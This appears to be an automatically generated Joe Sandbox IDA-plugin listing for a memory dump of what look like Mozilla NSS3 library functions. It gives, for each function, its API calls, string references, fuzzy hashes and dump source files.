Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 10d4e0d78a0b325732562e954cbc703d30b7068346afc47b274d292f42b36a99
Instruction ID: 0178774ddc6ed0f25d261314c68aefbd6edb16bc3ae0894bd1693a40887603f0
Opcode Fuzzy Hash: 10d4e0d78a0b325732562e954cbc703d30b7068346afc47b274d292f42b36a99
Instruction Fuzzy Hash: 12F05929E146253BF7005094CC19FB63BD56F09364F4A00B1EE0CBB653DE45D9508380

Function 6D0A4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D0A4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D0A4E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D0A4E38
invalid, xrefs: 6D0A4E25
API call with %s database connection pointer, xrefs: 6D0A4E2A
misuse, xrefs: 6D0A4E42
%s at line %d of [%.10s], xrefs: 6D0A4E47

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 928d2b6e4d998dc522e153cf799577e10816d39a9acfc5d6bf37bbdcef79fe39
Instruction ID: 6dd1a8ccdeb523939a1e7ac5bd4cde9aac46dc187ce2703ee2af844e73c2d12b
Opcode Fuzzy Hash: 928d2b6e4d998dc522e153cf799577e10816d39a9acfc5d6bf37bbdcef79fe39
Instruction Fuzzy Hash: 35F09E24F845193BF7009098DC18FF237C96715326F0C01B1EA0D67383DF55DD204291

Function 6CFD9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFDA086
EnterCriticalSection.KERNEL32(?), ref: 6CFDA09B
PR_Unlock.NSS3(?), ref: 6CFDA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDA0E9
TlsGetValue.KERNEL32 ref: 6CFDA11B
EnterCriticalSection.KERNEL32(?), ref: 6CFDA12F
PR_Unlock.NSS3(?), ref: 6CFDA148

Part of subcall function 6CFF1A40: PR_Now.NSS3(?,00000000,6CFD28AD,00000000,?,6CFEF09A,00000000,6CFD28AD,6CFD93B0,?,6CFD93B0,6CFD28AD,00000000,?,00000000), ref: 6CFF1A65

Part of subcall function 6CFF1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CFF4126,?), ref: 6CFF1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDA1A3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: f317125a56d30f306c78dbf51e2e2cb588446b13830d3d1788ddc541fc639f18
Instruction ID: d2d445b883cb46cb85bf650c7bdf2cb09232ef24a6935ca5669747e7bead1dcb
Opcode Fuzzy Hash: f317125a56d30f306c78dbf51e2e2cb588446b13830d3d1788ddc541fc639f18
Instruction Fuzzy Hash: 61512AB69002009BEB109F75DC88BAB77F9EF86308B1B4129DC29D7701EB31F855CA95

Function 6D010C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?,?,00000000,?,?), ref: 6D010CB3

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?), ref: 6D010DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?), ref: 6D010DEC

Part of subcall function 6D030F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CFD2AF5,?,?,?,?,?,6CFD0A1B,00000000), ref: 6D030F1A
Part of subcall function 6D030F10: malloc.MOZGLUE(00000001), ref: 6D030F30
Part of subcall function 6D030F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D030F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?), ref: 6D010DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6D011444,?,00000001,?,00000000), ref: 6D010E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?), ref: 6D010E53
PR_GetCurrentThread.NSS3(?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?,?,00000000), ref: 6D010E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?), ref: 6D010E79

Part of subcall function 6D021560: TlsGetValue.KERNEL32(00000000,?,6CFF0844,?), ref: 6D02157A
Part of subcall function 6D021560: EnterCriticalSection.KERNEL32(?,?,?,6CFF0844,?), ref: 6D02158F
Part of subcall function 6D021560: PR_Unlock.NSS3(?,?,?,?,6CFF0844,?), ref: 6D0215B2

Part of subcall function 6CFEB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CFF1397,00000000,?,6CFECF93,5B5F5EC0,00000000,?,6CFF1397,?), ref: 6CFEB1CB
Part of subcall function 6CFEB1A0: free.MOZGLUE(5B5F5EC0,?,6CFECF93,5B5F5EC0,00000000,?,6CFF1397,?), ref: 6CFEB1D2

Part of subcall function 6CFE89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CFE88AE,-00000008), ref: 6CFE8A04
Part of subcall function 6CFE89E0: EnterCriticalSection.KERNEL32(?), ref: 6CFE8A15
Part of subcall function 6CFE89E0: memset.VCRUNTIME140(6CFE88AE,00000000,00000132), ref: 6CFE8A27
Part of subcall function 6CFE89E0: PR_Unlock.NSS3(?), ref: 6CFE8A35

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2ed69da6bd8419e4e581ca3618d6469b93892d1ab7d21578803614352c885533
Instruction ID: 85a00034e17d586037745e8d11d69c08d8afe3f58d615fb90750d528a1e85c62
Opcode Fuzzy Hash: 2ed69da6bd8419e4e581ca3618d6469b93892d1ab7d21578803614352c885533
Instruction Fuzzy Hash: 4151B3F6D082015FFB119FA5DC81BBF37E8EF05258F454024ED599B312EB22ED2586A2

Function 6CFC6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CFC6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CFC6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CFC6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CFC6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CFC6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CFC7010
sqlite3_value_blob.NSS3(?,?), ref: 6CFC701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CFC7052

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 3278d563dc6fa803f1f818d171d945f5fc571df7d808a243db288df96e1b7076
Instruction ID: 27353640d196d8f61bf14d6c1f207e3933455dc78888026afe59ad3fb41773d3
Opcode Fuzzy Hash: 3278d563dc6fa803f1f818d171d945f5fc571df7d808a243db288df96e1b7076
Instruction Fuzzy Hash: 9761A3B2F0920B8FEB00CB65D8507BFB7B2AF85308F184165E415AB751E7329C06CB92

Function 6D038F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6D037313), ref: 6D038FBB

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6D037313), ref: 6D039012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6D037313), ref: 6D03903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6D037313), ref: 6D03909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6D037313), ref: 6D0390DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6D037313), ref: 6D0390F1

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6D037313), ref: 6D03906B

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6D037313), ref: 6D039128

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: d74b386fbfd4a493b34598b2aa4439a08caa2f84f7b78d121327e0e1e742bc0e
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: DC515D75A042238FFB109F6AEC84B2AB3F9AF48354F074469D955D7361EB71E800CBA1

Function 6CFE9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CFF0715), ref: 6CFE8859
Part of subcall function 6CFE8850: PR_NewLock.NSS3 ref: 6CFE8874
Part of subcall function 6CFE8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CFE888D

PR_NewLock.NSS3 ref: 6CFE9CAD

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

TlsGetValue.KERNEL32 ref: 6CFE9CE8
EnterCriticalSection.KERNEL32(?,?,6CFEECEC,6CFF2FCD,00000000,?,6CFF2FCD,?), ref: 6CFE9D01
TlsGetValue.KERNEL32(?,?,?,6CFEECEC,6CFF2FCD,00000000,?,6CFF2FCD,?), ref: 6CFE9D38
EnterCriticalSection.KERNEL32(?,?,6CFEECEC,6CFF2FCD,00000000,?,6CFF2FCD,?), ref: 6CFE9D4D
PR_Unlock.NSS3 ref: 6CFE9D70
PR_Unlock.NSS3 ref: 6CFE9DC3
PR_NewLock.NSS3 ref: 6CFE9DDD

Part of subcall function 6CFE88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFF0725,00000000,00000058), ref: 6CFE8906
Part of subcall function 6CFE88D0: EnterCriticalSection.KERNEL32(?), ref: 6CFE891A
Part of subcall function 6CFE88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CFE894A
Part of subcall function 6CFE88D0: calloc.MOZGLUE(00000001,6CFF072D,00000000,00000000,00000000,?,6CFF0725,00000000,00000058), ref: 6CFE8959
Part of subcall function 6CFE88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8993
Part of subcall function 6CFE88D0: PR_Unlock.NSS3(?), ref: 6CFE89AF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 203ec87e66a3d5df3e6c6eb412f805acbb689bdce386f95b3b6a02575bae47a9
Instruction ID: a0e54fe3a9853351bb1aefeb1a8e20e6f0e59ce1c3967c759d5e285a161a653f
Opcode Fuzzy Hash: 203ec87e66a3d5df3e6c6eb412f805acbb689bdce386f95b3b6a02575bae47a9
Instruction Fuzzy Hash: 435192B1A04715AFDB10EF68C08479EBBF4BF48344F018529D898DB710EB70E984CBA1

Function 6D0E9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6D0E9EC0
EnterCriticalSection.KERNEL32(?), ref: 6D0E9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6D0E9F73
EnterCriticalSection.KERNEL32(?), ref: 6D0E9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6D0E9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6D0E9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EA01D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 9ba9ba27959b0603b47d19a05d8c487865c3d3f5d1e3fe1cc9ffcacd5a06ec8c
Instruction ID: 6bf1e3ef6e2e1d7c0749ad0ec4ad2a5c7460577c822a45ad7e2ae5e8d21a6a43
Opcode Fuzzy Hash: 9ba9ba27959b0603b47d19a05d8c487865c3d3f5d1e3fe1cc9ffcacd5a06ec8c
Instruction Fuzzy Hash: C751CDB2804601DFEB20DF25E88476AB7F0FF48359F26856AD9595B312E731E881CBD1

Function 6CFF4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFF4E90
EnterCriticalSection.KERNEL32 ref: 6CFF4EA9
TlsGetValue.KERNEL32 ref: 6CFF4EC6
EnterCriticalSection.KERNEL32 ref: 6CFF4EDF
PL_HashTableLookup.NSS3 ref: 6CFF4EF8
PR_Unlock.NSS3 ref: 6CFF4F05
PR_Now.NSS3 ref: 6CFF4F13
PR_Unlock.NSS3 ref: 6CFF4F3A

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 5f4cb6e03743cfba75cecf91b9bd7975733a6c164e0152de3572ca964c87cad9
Instruction ID: 11b53bb37326297a7d918f2ec487d457cdee4f19e68101bd5d6c0d9e446b3e90
Opcode Fuzzy Hash: 5f4cb6e03743cfba75cecf91b9bd7975733a6c164e0152de3572ca964c87cad9
Instruction Fuzzy Hash: 9A4148B4A046059FDB00DF78D5849AABBF4FF89314B028569ED599B320EB30E891CF91

Function 6CFDDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFDDCFA

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFDDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CFDDD62
CERT_DestroyCertificate.NSS3(?), ref: 6CFDDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFDDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CFDDD8F

Part of subcall function 6CFF06A0: TlsGetValue.KERNEL32 ref: 6CFF06C2
Part of subcall function 6CFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFF06D6
Part of subcall function 6CFF06A0: PR_Unlock.NSS3 ref: 6CFF06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CFDDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CFDDDB7

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 35b233973026c753733684600b1e894cb6d9dc456046093d9a971fb34ad196c1
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: CE218EB6E011159BDF019E94DC40B9FBBB4AF09218B1E0034ED14A7715EB21F915CBF2

Function 6D065F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065F72

Part of subcall function 6CFCED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFCED8F
Part of subcall function 6CFCED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFCED9E
Part of subcall function 6CFCED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFCEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FCC
free.MOZGLUE(?,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FF4
free.MOZGLUE(?,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D066019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D066036

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
